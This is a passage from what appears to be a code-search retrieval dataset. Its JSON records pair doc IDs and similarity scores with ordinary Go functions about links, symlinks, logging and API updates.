{\n\t\t\t\tlog.Error(\"Was not able to update IPv6 record:\", err)\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "4862e6454db27aa5444b00c4b5b414cb", "score": "0.4161822", "text": "func (n *ProtoNode) UpdateNodeLink(name string, that *ProtoNode) (*ProtoNode, error) {\n\tnewnode := n.Copy().(*ProtoNode)\n\t_ = newnode.RemoveNodeLink(name) // ignore error\n\terr := newnode.AddNodeLink(name, that)\n\treturn newnode, err\n}", "title": "" }, { "docid": "79cf198884392ac37148c5eff6b9ff0b", "score": "0.41571456", "text": "func UpdateSymLink(dir string, latestBuild int) error {\n\tlinkName := fmt.Sprintf(\"%s/latest\", dir)\n\tfmt.Printf(\"linking \\\"latest\\\" in dir %s to %d\\n\", dir, latestBuild)\n\terr := os.Chdir(dir)\n\tif err != nil {\n\t\tfmt.Printf(\"Failed to chdir to %s: %v\\n\", dir, err)\n\t\treturn err\n\t}\n\n\terr = os.Symlink(fmt.Sprintf(\"%d\", latestBuild), \"latest\")\n\tif err == nil {\n\t\treturn nil\n\t}\n\tif os.IsExist(err) {\n\t\tos.Remove(linkName)\n\t\terr = os.Symlink(fmt.Sprintf(\"%d\", latestBuild), \"latest\")\n\t\tif err != nil {\n\t\t\tfmt.Printf(\"Tried to remove symlink but still failed to create it: %s: %s\\n\", linkName, err)\n\t\t\treturn err\n\t\t}\n\t} else {\n\t\tfmt.Printf(\"Failed to create symlink in %s: %v\\n\", dir, err)\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "9caa3cbd29c66b23dd6de2e641813e16", "score": "0.41521275", "text": "func ExtractConsoleLink(consoleLink *apiconsolev1.ConsoleLink, fieldManager string) (*ConsoleLinkApplyConfiguration, error) {\n\treturn extractConsoleLink(consoleLink, fieldManager, \"\")\n}", "title": "" }, { "docid": "cfe3ebf2acd5a7a43633ce1704aef885", "score": "0.4151552", "text": "func UpdateLink(par *tp.Par, links map[int]*tp.Link, wr io.Writer) {\r\n\tfor _, link := range links {\r\n\t\t//loop time steps\r\n\t\tfor i := 1; i <= 96; i++ {\r\n\t\t\t//total vol\r\n\t\t\tfor _, cls := range par.VehClass { //loop vehicle classes\r\n\t\t\t\tif par.Iter > 1 { //MSA\r\n\t\t\t\t\tlink.VolCls[cls][i-1] = link.VolClsPre[cls][i-1]*(1-1/float64(par.Iter)) + link.VolCls[cls][i-1]/float64(par.Iter)\r\n\t\t\t\t}\r\n\t\t\t\tlink.VolClsPre[cls][i-1] = link.VolCls[cls][i-1]\r\n\t\t\t\tlink.Vol[i-1] = link.Vol[i-1] + link.VolCls[cls][i-1]\r\n\t\t\t}\r\n\t\t\tlink.CgSpeed[i-1] = link.FFSPEED / (1 + link.ALPHA*math.Pow(link.Vol[i-1]/(float64(link.CAPACITY)/4), link.BETA))\r\n\t\t\tlink.CgTime[i-1] = link.DIST / link.CgSpeed[i-1]\r\n\t\t\t//update\r\n\t\t\tpolicy := link.TOLLPOLICY\r\n\t\t\tif policy > 0 {\r\n\t\t\t\ttl := par.TollPolicy[policy][\"MinToll\"] + (par.TollPolicy[policy][\"MaxToll\"]-par.TollPolicy[policy][\"MinToll\"])*\r\n\t\t\t\t\tmath.Pow(link.Vol[i-1]/(float64(link.CAPACITY)/4)+par.TollPolicy[policy][\"Offset\"], par.TollPolicy[policy][\"Exp\"])\r\n\t\t\t\tif tl > par.TollPolicy[policy][\"MaxToll\"] {\r\n\t\t\t\t\ttl = par.TollPolicy[policy][\"MaxToll\"]\r\n\t\t\t\t}\r\n\t\t\t\tlink.TollRate[i-1] = tl\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tpar.VehClass = nil\r\n}", "title": "" }, { "docid": "01439e6e53c8efa4ca7f284706f66592", "score": "0.41437548", "text": "func (w *Writer) Update(update []byte) error {\n\tentry := make([]byte, 9+len(update))\n\tentry[0] = entryUpdate\n\tbinary.LittleEndian.PutUint64(entry[1:], uint64(w.epoch))\n\tcopy(entry[9:], update)\n\tif err := w.log.Append(entry); err != nil {\n\t\treturn err\n\t}\n\treturn w.sync()\n}", "title": "" }, { "docid": "f377e5788f08fba28582b8fff6932915", "score": "0.413774", "text": "func (c *client) UpdateEntry() (interface{}, error) {\n\tresult := map[string]interface{}{\n\t\t\"links\": map[string]interface{}{\n\t\t\t\"self\": \"api/articles\",\n\t\t},\n\t\t\"data\": []interface{}{},\n\t}\n\treturn result, nil\n}", "title": "" }, { "docid": "6a06ea4dd029ea0b0c9b0db2cb9875c6", "score": "0.4133358", "text": "func (c *analyticsAdminRESTClient) UpdateDisplayVideo360AdvertiserLink(ctx context.Context, req *adminpb.UpdateDisplayVideo360AdvertiserLinkRequest, opts ...gax.CallOption) (*adminpb.DisplayVideo360AdvertiserLink, error) {\n\tm := protojson.MarshalOptions{AllowPartial: true, UseEnumNumbers: true}\n\tbody := req.GetDisplayVideo_360AdvertiserLink()\n\tjsonReq, err := m.Marshal(body)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tbaseUrl, err := url.Parse(c.endpoint)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tbaseUrl.Path += fmt.Sprintf(\"/v1alpha/%v\", req.GetDisplayVideo_360AdvertiserLink().GetName())\n\n\tparams := url.Values{}\n\tparams.Add(\"$alt\", \"json;enum-encoding=int\")\n\tif req.GetUpdateMask() != nil {\n\t\tupdateMask, err := protojson.Marshal(req.GetUpdateMask())\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tparams.Add(\"updateMask\", string(updateMask[1:len(updateMask)-1]))\n\t}\n\n\tbaseUrl.RawQuery = params.Encode()\n\n\t// Build HTTP headers from client and context metadata.\n\thds := []string{\"x-goog-request-params\", fmt.Sprintf(\"%s=%v\", \"display_video_360_advertiser_link.name\", url.QueryEscape(req.GetDisplayVideo_360AdvertiserLink().GetName()))}\n\n\thds = append(c.xGoogHeaders, hds...)\n\thds = append(hds, \"Content-Type\", \"application/json\")\n\theaders := gax.BuildHeaders(ctx, hds...)\n\topts = append((*c.CallOptions).UpdateDisplayVideo360AdvertiserLink[0:len((*c.CallOptions).UpdateDisplayVideo360AdvertiserLink):len((*c.CallOptions).UpdateDisplayVideo360AdvertiserLink)], opts...)\n\tunm := protojson.UnmarshalOptions{AllowPartial: true, DiscardUnknown: true}\n\tresp := &adminpb.DisplayVideo360AdvertiserLink{}\n\te := gax.Invoke(ctx, func(ctx context.Context, settings gax.CallSettings) error {\n\t\tif settings.Path != \"\" {\n\t\t\tbaseUrl.Path = settings.Path\n\t\t}\n\t\thttpReq, err := http.NewRequest(\"PATCH\", baseUrl.String(), bytes.NewReader(jsonReq))\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\thttpReq = httpReq.WithContext(ctx)\n\t\thttpReq.Header = headers\n\n\t\thttpRsp, err := c.httpClient.Do(httpReq)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tdefer httpRsp.Body.Close()\n\n\t\tif err = googleapi.CheckResponse(httpRsp); err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tbuf, err := io.ReadAll(httpRsp.Body)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tif err := unm.Unmarshal(buf, resp); err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\treturn nil\n\t}, opts...)\n\tif e != nil {\n\t\treturn nil, e\n\t}\n\treturn resp, nil\n}", "title": "" }, { "docid": "08e85fb2a37c2fa4f1d178dc3fa14940", "score": "0.41303805", "text": "func (store *Store) UpdateStreamRule(prms *graylog.StreamRuleUpdateParams) error {\n\tif prms == nil {\n\t\treturn fmt.Errorf(\"rule is nil\")\n\t}\n\tstreamID := prms.StreamID\n\tif streamID == \"\" {\n\t\treturn fmt.Errorf(\"stream id is empty\")\n\t}\n\tid := prms.ID\n\tif id == \"\" {\n\t\treturn fmt.Errorf(\"stream rule id is empty\")\n\t}\n\n\tstore.imutex.Lock()\n\tdefer store.imutex.Unlock()\n\n\tstream, ok := store.streams[streamID]\n\tif !ok {\n\t\treturn fmt.Errorf(`stream \"%s\" is not found`, streamID)\n\t}\n\n\tfor i, rule := range stream.Rules {\n\t\tif rule.ID != id {\n\t\t\tcontinue\n\t\t}\n\t\tif prms.Field != \"\" {\n\t\t\trule.Field = prms.Field\n\t\t}\n\t\tif prms.Description != \"\" {\n\t\t\trule.Description = prms.Description\n\t\t}\n\t\tif prms.Value != \"\" {\n\t\t\trule.Value = prms.Value\n\t\t}\n\t\tif prms.Type != nil {\n\t\t\trule.Type = *prms.Type\n\t\t}\n\t\tif prms.Inverted != nil {\n\t\t\trule.Inverted = *prms.Inverted\n\t\t}\n\t\tstream.Rules[i] = rule\n\t\treturn nil\n\t}\n\treturn fmt.Errorf(\"no stream rule with id <%s> is found\", id)\n}", "title": "" }, { "docid": "8a27a291b594568b3c7c7a307a252691", "score": "0.41247052", "text": "func (l *Local) InsertLink(ctx context.Context, link *linker.Edge) {\n\tif err := l.links.Put(link.Hash(), link); err != nil {\n\t\tlog.From(ctx).Error(\"inserting link\", zap.String(\"hash\", link.Hash()), zap.Error(err))\n\t}\n}", "title": "" }, { "docid": "d019863ca22ffabfb8ef4c801245e11c", "score": "0.4120233", "text": "func (c *AnalyticsAdminClient) UpdateUserLink(ctx context.Context, req *adminpb.UpdateUserLinkRequest, opts ...gax.CallOption) (*adminpb.UserLink, error) {\n\treturn c.internalClient.UpdateUserLink(ctx, req, opts...)\n}", "title": "" }, { "docid": "cb3b5031660d10b458f507ab5f3be193", "score": "0.41122574", "text": "func (l *ContextSafeLogger) Update(en *logrus.Entry) {\n\tl.entry = en\n}", "title": "" }, { "docid": "ecd469c561007407e8e23cbb0fed61d3", "score": "0.4108198", "text": "func Debugln(args ...interface{}) {\n\tnewEntry().Debugln(args...)\n}", "title": "" }, { "docid": "44bcfb6b391ce6941fd461a8afd842fd", "score": "0.41011885", "text": "func (l *Logger) Errorln(v ...interface{}) {\n\tl.log(ERROR, 2, fmt.Sprintln(v...))\n}", "title": "" }, { "docid": "b25c61d2525a3caa9ba4f02c45456dc9", "score": "0.40970144", "text": "func Link() error {\n\tmg.Deps(Build)\n\n\tfmt.Printf(\"linking %s to workflow directory ...\\n\", buildDir)\n\ttarget := filepath.Join(info.AlfredWorkflowDir, info.BundleID)\n\n\tif exists(target) {\n\t\tfmt.Println(\"removing existing workflow ...\")\n\t}\n\t// try to remove it anyway, as dangling symlinks register as existing\n\tif err := os.RemoveAll(target); err != nil && !os.IsNotExist(err) {\n\t\treturn err\n\t}\n\n\tsrc, err := filepath.Abs(buildDir)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn build.Symlink(target, src, true)\n}", "title": "" }, { "docid": "12ce9e258f46826245f659c44490c2bf", "score": "0.4089815", "text": "func (c *AnalyticsAdminClient) UpdateDisplayVideo360AdvertiserLink(ctx context.Context, req *adminpb.UpdateDisplayVideo360AdvertiserLinkRequest, opts ...gax.CallOption) (*adminpb.DisplayVideo360AdvertiserLink, error) {\n\treturn c.internalClient.UpdateDisplayVideo360AdvertiserLink(ctx, req, opts...)\n}", "title": "" }, { "docid": "2f4a0def43678694eaa5e6f3e624f7ae", "score": "0.4089009", "text": "func (c *Client) Link(oldname, newname string) error {\n\tid := c.nextID()\n\ttyp, data, err := c.sendPacket(nil, &sshFxpHardlinkPacket{\n\t\tID: id,\n\t\tOldpath: oldname,\n\t\tNewpath: newname,\n\t})\n\tif err != nil {\n\t\treturn err\n\t}\n\tswitch typ {\n\tcase sshFxpStatus:\n\t\treturn normaliseError(unmarshalStatus(id, data))\n\tdefault:\n\t\treturn unimplementedPacketErr(typ)\n\t}\n}", "title": "" }, { "docid": "e612eb1a91f029c578dd65657ecd7ee9", "score": "0.40844917", "text": "func (ed *EditionUpdate) PublishLinks(ctx context.Context, host string, versionLink *LinkObject) error {\n\tif ed.Next == nil || ed.Next.Links == nil || ed.Next.Links.LatestVersion == nil {\n\t\treturn errors.New(\"editions links do not exist\")\n\t}\n\n\tcurrentVersion := 0\n\n\tif ed.Current != nil && ed.Current.Links != nil && ed.Current.Links.LatestVersion != nil {\n\t\tvar err error\n\t\tcurrentVersion, err = strconv.Atoi(ed.Current.Links.LatestVersion.ID)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif versionLink == nil {\n\t\treturn errors.New(\"invalid arguments to PublishLinks - versionLink empty\")\n\t}\n\n\tversion, err := strconv.Atoi(versionLink.ID)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif currentVersion > version {\n\t\tlog.Event(ctx, \"current latest version is higher, no edition update required\", log.INFO, log.Data{\"doc\": ed, \"currentVersionID\": currentVersion, \"versionID\": versionLink.ID})\n\t\treturn nil\n\t}\n\n\ted.Next.Links.LatestVersion = versionLink\n\treturn nil\n}", "title": "" }, { "docid": "b6666e75d2a807827a51ffe28fdd5efd", "score": "0.40725225", "text": "func (s *ExportsServiceOp) UpdateByLink(endpoint string, t *ExportRequestUpdate) (*Export, error) {\n enc, err := json.Marshal(t)\n if err != nil {\n return nil, err\n }\n\n buf := bytes.NewBuffer(enc)\n\n resp, err := s.client.request(\"POST\", endpoint, buf)\n if err != nil {\n return nil, err\n }\n\n defer resp.Body.Close()\n\n if resp.StatusCode != http.StatusOK {\n return nil, ApiError{StatusCode: resp.StatusCode, Message: \"non-ok status returned\"}\n }\n obj := &ExportResponse{}\n dec := json.NewDecoder(resp.Body)\n dec.Decode(obj)\n return s.get(obj)\n}", "title": "" }, { "docid": "d2825ded6778aa4769ab0219e7e302de", "score": "0.40724373", "text": "func (c *analyticsAdminRESTClient) UpdateUserLink(ctx context.Context, req *adminpb.UpdateUserLinkRequest, opts ...gax.CallOption) (*adminpb.UserLink, error) {\n\tm := protojson.MarshalOptions{AllowPartial: true, UseEnumNumbers: true}\n\tbody := req.GetUserLink()\n\tjsonReq, err := m.Marshal(body)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tbaseUrl, err := url.Parse(c.endpoint)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tbaseUrl.Path += fmt.Sprintf(\"/v1alpha/%v\", req.GetUserLink().GetName())\n\n\tparams := url.Values{}\n\tparams.Add(\"$alt\", \"json;enum-encoding=int\")\n\n\tbaseUrl.RawQuery = params.Encode()\n\n\t// Build HTTP headers from client and context metadata.\n\thds := []string{\"x-goog-request-params\", fmt.Sprintf(\"%s=%v\", \"user_link.name\", url.QueryEscape(req.GetUserLink().GetName()))}\n\n\thds = append(c.xGoogHeaders, hds...)\n\thds = append(hds, \"Content-Type\", \"application/json\")\n\theaders := gax.BuildHeaders(ctx, hds...)\n\topts = append((*c.CallOptions).UpdateUserLink[0:len((*c.CallOptions).UpdateUserLink):len((*c.CallOptions).UpdateUserLink)], opts...)\n\tunm := protojson.UnmarshalOptions{AllowPartial: true, DiscardUnknown: true}\n\tresp := &adminpb.UserLink{}\n\te := gax.Invoke(ctx, func(ctx context.Context, settings gax.CallSettings) error {\n\t\tif settings.Path != \"\" {\n\t\t\tbaseUrl.Path = settings.Path\n\t\t}\n\t\thttpReq, err := http.NewRequest(\"PATCH\", baseUrl.String(), bytes.NewReader(jsonReq))\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\thttpReq = httpReq.WithContext(ctx)\n\t\thttpReq.Header = headers\n\n\t\thttpRsp, err := c.httpClient.Do(httpReq)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tdefer httpRsp.Body.Close()\n\n\t\tif err = googleapi.CheckResponse(httpRsp); err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tbuf, err := io.ReadAll(httpRsp.Body)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tif err := unm.Unmarshal(buf, resp); err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\treturn nil\n\t}, opts...)\n\tif e != nil {\n\t\treturn nil, e\n\t}\n\treturn resp, nil\n}", "title": "" }, { "docid": "ea8aa0aaa5664e70587be35efa2898ff", "score": "0.40697694", "text": "func (c *UpdateCommand) Exec(in io.Reader, out io.Writer) error {\n\tinput, err := c.createInput()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\thttps, err := c.Globals.Client.UpdateHTTPS(input)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\ttext.Success(out, \"Updated HTTPS logging endpoint %s (service %s version %d)\", https.Name, https.ServiceID, https.Version)\n\treturn nil\n}", "title": "" }, { "docid": "79c3eb62ee9ee20837c3833db6994c6d", "score": "0.40631723", "text": "func AddLink(documentPathSource string, documentPathDestination string) error {\n\t// lineNumberFirstLink, lineNumberLastLink, links, err := FindLinksLines(documentPathSource)\n\tlineNumberFirstLink, _, links, err := FindLinksLines(documentPathSource)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tlinks = append(links, documentPathDestination)\n\n\tfile, err := os.OpenFile(documentPathSource, os.O_RDWR, 0o644)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tdefer file.Close()\n\n\toffset, err := file.Seek(int64(lineNumberFirstLink), io.SeekStart)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t_, err = file.WriteAt([]byte(strings.Join(links, \"\\n\")), offset)\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "70221d9dc4d99e4b85416990250f6e9b", "score": "0.40475923", "text": "func (d *CDevice) ProcessLink(ctrl *framework.DeviceControl) string {\n\t// Subscribe to subtopic \"rawrx\"\n\tctrl.Subscribe(\"rawrx\", rawRxKey)\n\t// Subscribe to subtopic \"rawtx\"\n\tctrl.Subscribe(\"rawtx\", rawTxKey)\n\n\t// This message is sent to the service status for the linking device\n\treturn \"Success\"\n}", "title": "" }, { "docid": "8547b122ade7cdcaac8aaebf4925fc49", "score": "0.40385905", "text": "func (d *Driver) FilteredLink() string {\n\tlinkInfo := d.GetConfig().Link\n\tif linkInfo == \"\" {\n\t\treturn \"\"\n\t}\n\ts, _ := gregex.ReplaceString(\n\t\t`(.+?):(.+)@tcp(.+)`,\n\t\t`$1:xxx@tcp$3`,\n\t\tlinkInfo,\n\t)\n\treturn s\n}", "title": "" }, { "docid": "9b1399517ebb23d3c19f0d5c02c96584", "score": "0.40361926", "text": "func AddLink(w http.ResponseWriter, r *http.Request) {\n\tfmt.Fprintln(w, \"not implemented\")\n}", "title": "" }, { "docid": "a3df01bb95cf9bf5bb2874739ff8d892", "score": "0.40269879", "text": "func ExampleScheduledQueryRulesClient_Update() {\n\tcred, err := azidentity.NewDefaultAzureCredential(nil)\n\tif err != nil {\n\t\tlog.Fatalf(\"failed to obtain a credential: %v\", err)\n\t}\n\tctx := context.Background()\n\tclient, err := armmonitor.NewScheduledQueryRulesClient(\"subid\", cred, nil)\n\tif err != nil {\n\t\tlog.Fatalf(\"failed to create client: %v\", err)\n\t}\n\tres, err := client.Update(ctx,\n\t\t\"my-resource-group\",\n\t\t\"logalertfoo\",\n\t\tarmmonitor.LogSearchRuleResourcePatch{\n\t\t\tProperties: &armmonitor.LogSearchRulePatch{\n\t\t\t\tEnabled: to.Ptr(armmonitor.EnabledTrue),\n\t\t\t},\n\t\t},\n\t\tnil)\n\tif err != nil {\n\t\tlog.Fatalf(\"failed to finish the request: %v\", err)\n\t}\n\t// TODO: use response item\n\t_ = res\n}", "title": "" }, { "docid": "01627b8047b79ea501ae8721ead36faf", "score": "0.4026016", "text": "func (o ConsentLinkDefinitionResponseOutput) Link() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v ConsentLinkDefinitionResponse) *string { return v.Link }).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "1a067d42a6fc6fc027732fcc1ca6baee", "score": "0.40163618", "text": "func statusLogsLink(uuid string) string {\n\treturn strings.Replace(settingsmgr.StatusLogsLink(), \"{{UUID}}\", removeBackslash(uuid), 1)\n}", "title": "" }, { "docid": "0f47cd6384a67c645cd5ec04415c240b", "score": "0.4012532", "text": "func (l *ExtLog) Debugln(v ...interface{}) {\n\tl.Logger.Println(v...)\n}", "title": "" }, { "docid": "1cac1070ce003217c234902dc63f806d", "score": "0.40085065", "text": "func (o *BSDSearchResult) SetLink(v string) {\n\to.Link = &v\n}", "title": "" }, { "docid": "e783823ffee8bed0080f3f456f436447", "score": "0.39898527", "text": "func (cli *Client) UploadLink(link string) (string, error) {\n\tres, err := http.Get(link)\n\tif res != nil {\n\t\tdefer res.Body.Close()\n\t}\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn cli.UploadToContentRepo(res.Body, res.Header.Get(\"Content-Type\"), res.ContentLength)\n}", "title": "" }, { "docid": "a9d9c0f18d930f9a4b981bfb6d25117c", "score": "0.3984334", "text": "func (u *URL) Update() error {\n\turl := URL{\n\t\tKey: u.Key,\n\t\tURL: u.URL,\n\t\tAlias: u.Alias,\n\t}\n\t_, err := db.GetDB().Model(&url).Column(\"url\", \"alias\").WherePK().Update()\n\treturn err\n}", "title": "" }, { "docid": "8f390609b09e1cd23ef3b5356fc825ad", "score": "0.3973749", "text": "func UpdateLedgerEntry(w http.ResponseWriter, req *http.Request) {\n\tvar ledgerEntry models.Model\n\terr := json.NewDecoder(req.Body).Decode(&ledgerEntry)\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\thttp.Error(w, http.StatusText(500), 500)\n\t\treturn\n\t}\n\tcount, err := models.UpdateLedgerEntry(ledgerEntry)\n\tif err != nil {\n\t\tfmt.Println(\"Error parsing ledger entry: \", err)\n\t\thttp.Error(w, http.StatusText(500), 500)\n\t\treturn\n\t}\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\tjson.NewEncoder(w).Encode(count)\n\n}", "title": "" }, { "docid": "24de236b65fab94ec54b6cfeb6e24f9c", "score": "0.39686972", "text": "func NewConsoleLink(name, href, text, icon, section string) *consolev1.ConsoleLink {\n\treturn &consolev1.ConsoleLink{\n\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\tName: name,\n\t\t},\n\t\tSpec: consolev1.ConsoleLinkSpec{\n\t\t\tLocation: consolev1.ApplicationMenu,\n\t\t\tLink: consolev1.Link{\n\t\t\t\tText: text,\n\t\t\t\tHref: href,\n\t\t\t},\n\t\t\tApplicationMenu: &consolev1.ApplicationMenuSpec{\n\t\t\t\tImageURL: icon,\n\t\t\t\tSection: section,\n\t\t\t},\n\t\t},\n\t}\n}", "title": "" }, { "docid": "431a67754c176b6fba51bde273e31fab", "score": "0.39657146", "text": "func (log *RaftLog) Append(entry iface.LogEntry) (err error) {\n\tswitch entry.Kind {\n\tcase iface.EntryStateMachineCommand:\n\tcase iface.EntryAddServer:\n\tcase iface.EntryRemoveServer:\n\tcase iface.EntryNoOp:\n\tdefault:\n\t\tpanic(\"unknown log entry kind: \" + entry.Kind)\n\t}\n\n\tvar (\n\t\tmarshal []byte\n\t)\n\n\tmarshal, err = json.Marshal(entry)\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = log.storage.BeginTransaction()\n\n\tdefer func() {\n\t\tswitch err {\n\t\tcase nil:\n\t\t\tlog.storage.Commit()\n\t\tdefault:\n\t\t\tlog.storage.Rollback()\n\t\t}\n\t}()\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = log.storage.Set(\n\t\t[]byte(\"/raft/log/index=\"+toString(log.lastIndex+1)),\n\t\tmarshal)\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tlog.lastIndex++\n\n\terr = log.storage.Set([]byte(\"/raft/log/lastIndex\"),\n\t\t[]byte(toString(log.lastIndex)))\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "acd7c34c53b5dadf98ca7c089f049b0a", "score": "0.39653394", "text": "func (l *Logger) Debugln(v ...interface{}) {\n\tl.log(DEBUG, 2, fmt.Sprintln(v...))\n}", "title": "" }, { "docid": "413a52e5ff29522ae6898d60ada142b9", "score": "0.39632013", "text": "func (s service) putLink(ctx context.Context, req interface{}) (interface{}, error) {\n\tr := req.(*PutLinkRequest)\n\n\t// validate the request\n\tif !strings.HasPrefix(r.Request.Link.Url, \"https://www.nytimes.com/\") {\n\t\treturn nil, kit.NewJSONStatusResponse(\n\t\t\t&Message{\"only https://www.nytimes.com URLs accepted\"},\n\t\t\thttp.StatusBadRequest)\n\t}\n\n\tvar err error\n\t// call the service-injected DB interface\n\tif r.Request.Delete {\n\t\terr = s.db.DeleteLink(ctx, getUser(ctx), r.Request.Link.Url)\n\t} else {\n\t\terr = s.db.PutLink(ctx, getUser(ctx), r.Request.Link.Url)\n\t}\n\tif err != nil {\n\t\treturn nil, kit.NewJSONStatusResponse(\n\t\t\t&Message{\"problems updating link\"},\n\t\t\thttp.StatusInternalServerError)\n\t}\n\n\treturn &Message{Message: \"success\"}, nil\n}", "title": "" }, { "docid": "bbd2d068e1a21e7708d72fe905606222", "score": "0.39403823", "text": "func (c *ovnClient) UpdateLogicalRouterStaticRoute(route *ovnnb.LogicalRouterStaticRoute, fields ...interface{}) error {\n\tif route == nil {\n\t\treturn fmt.Errorf(\"route is nil\")\n\t}\n\n\top, err := c.ovnNbClient.Where(route).Update(route, fields...)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"generate operations for updating logical router static route 'policy %s prefix %s': %v\", *route.Policy, route.IPPrefix, err)\n\t}\n\n\tif err = c.Transact(\"net-update\", op); err != nil {\n\t\treturn fmt.Errorf(\"update logical router static route 'policy %s prefix %s': %v\", *route.Policy, route.IPPrefix, err)\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "80f55521f457573683ab712543c0b7c6", "score": "0.393045", "text": "func (c *Conn) UpdateEntry(dn string, f EntryUpdateFunc) error {\n\tentry, err := c.LookupOrNew(dn)\n\tif err != nil {\n\t\treturn err\n\t}\n\tentry, err = f(entry)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif entry.Changed() {\n\t\treturn entry.Update(c)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "08d2e341bb8440eea9f1b68e1962ce08", "score": "0.39246148", "text": "func (l *Logger) Debugln(args ...interface{}) {\n\tif l.logger.Level >= logrus.DebugLevel {\n\t\tMarkerMaps.Encode(\n\t\t\tl.logger,\n\t\t\t\"\",\t\t// event name\n\t\t\tl.name,\t// logger name\n\t\t\tmap[string]interface{}{\n\t\t\t\t\"args\": args,\n\t\t\t},\n\t\t\tmap[string]interface{}{},\n\t\t\tnil,\n\t\t).Debug()\n\t}\n}", "title": "" }, { "docid": "b89bdad6fe59390f23a8b6c09df9e30a", "score": "0.39025405", "text": "func (client *NetworkRuntimeClient) Update(obj *models.NetworkRuntime) (*models.NetworkRuntime, error) {\n\tvar robj *models.NetworkRuntime\n\tpath := client.getAPIPath(obj.UUID)\n\terr := client.aviSession.Put(path, obj, &robj)\n\treturn robj, err\n}", "title": "" }, { "docid": "8a0d27641e20f8f4338bb845372b77df", "score": "0.3899223", "text": "func (r *AwsInstanceExampleTypeRule) Link() string {\n\treturn \"\"\n}", "title": "" }, { "docid": "3a682bbe9ae25cc60e1a950e9c37b4da", "score": "0.38973945", "text": "func (o DataBoxAccountCopyLogDetailsResponseOutput) CopyLogLink() pulumi.StringOutput {\n\treturn o.ApplyT(func(v DataBoxAccountCopyLogDetailsResponse) string { return v.CopyLogLink }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "ecefec7122199cfe6e5e8f6e9c3d9b6b", "score": "0.38972825", "text": "func (h *Handler) Link(w http.ResponseWriter, r *http.Request) {\n\tdecoder := json.NewDecoder(r.Body)\n\tvar err error\n\tvar rb models.LinkReqBody\n\terr = decoder.Decode(&rb)\n\tif err != nil {\n\t\tlog.Printf(\"[Error] Link - decoder.Decode: %v\", err.Error())\n\t\twriteResponse(w, http.StatusBadRequest, nil)\n\t\treturn\n\t}\n\n\tshortLink, err := h.DB.MakeShortLink(rb.URL, rb.Slug)\n\tif err != nil {\n\t\tlog.Printf(\"[Error] Link - h.DB.MakeShortLink: %v\", err.Error())\n\t\twriteResponse(w, http.StatusInternalServerError, nil)\n\t\treturn\n\t}\n\n\tresp, err := json.Marshal(shortLink)\n\tif err != nil {\n\t\tlog.Printf(\"[Error] Link - json.Marshal: %v\", err.Error())\n\t\twriteResponse(w, http.StatusInternalServerError, nil)\n\t\treturn\n\t}\n\twriteResponse(w, http.StatusCreated, resp)\n}", "title": "" }, { "docid": "eeb68fc15d82193548542e08410fb650", "score": "0.38945255", "text": "func (d *Dao) UpdateHookURL(hookURL *model.HookUrl) error {\n\treturn d.db.Model(&model.HookUrl{}).Where(\"id=?\", hookURL.ID).Update(hookURL).Error\n}", "title": "" }, { "docid": "4b28549e28e6932643ef72392787c1cb", "score": "0.3891085", "text": "func (convert *Converter) InternalLinkLink(line string, elements []string) {\n\tcheckLength(line, elements, 6)\n\n\tconvert.pdf.SetX(parseFloatPanic(elements[1], line))\n\tconvert.pdf.SetY(parseFloatPanic(elements[2], line))\n\n\tconvert.pdf.Text(elements[4])\n\tconvert.pdf.SetAnchor(elements[5])\n\n\tconvert.pdf.SetX(parseFloatPanic(elements[1], line) + parseFloatPanic(elements[3], line))\n\tconvert.pdf.SetY(parseFloatPanic(elements[2], line))\n}", "title": "" }, { "docid": "16981b7439208f591578c441c0a565d5", "score": "0.38880834", "text": "func UpdateOrCreateSymlink(existing, linkname string) result.Result {\n\n\t// Check if existing (source) exists\n\tif exists, err := Exists(existing); !exists && err != nil {\n\t\treturn result.NewError(\"Error while checking if \" + existing + \" exists: \" + err.Error())\n\t} else if !exists {\n\t\treturn result.NewError(\"Symbolic link destination \" + existing + \" does NOT exist\")\n\t}\n\n\t// checking if symlink exists\n\tif exists, err := SymlinkExists(linkname); err != nil {\n\t\treturn 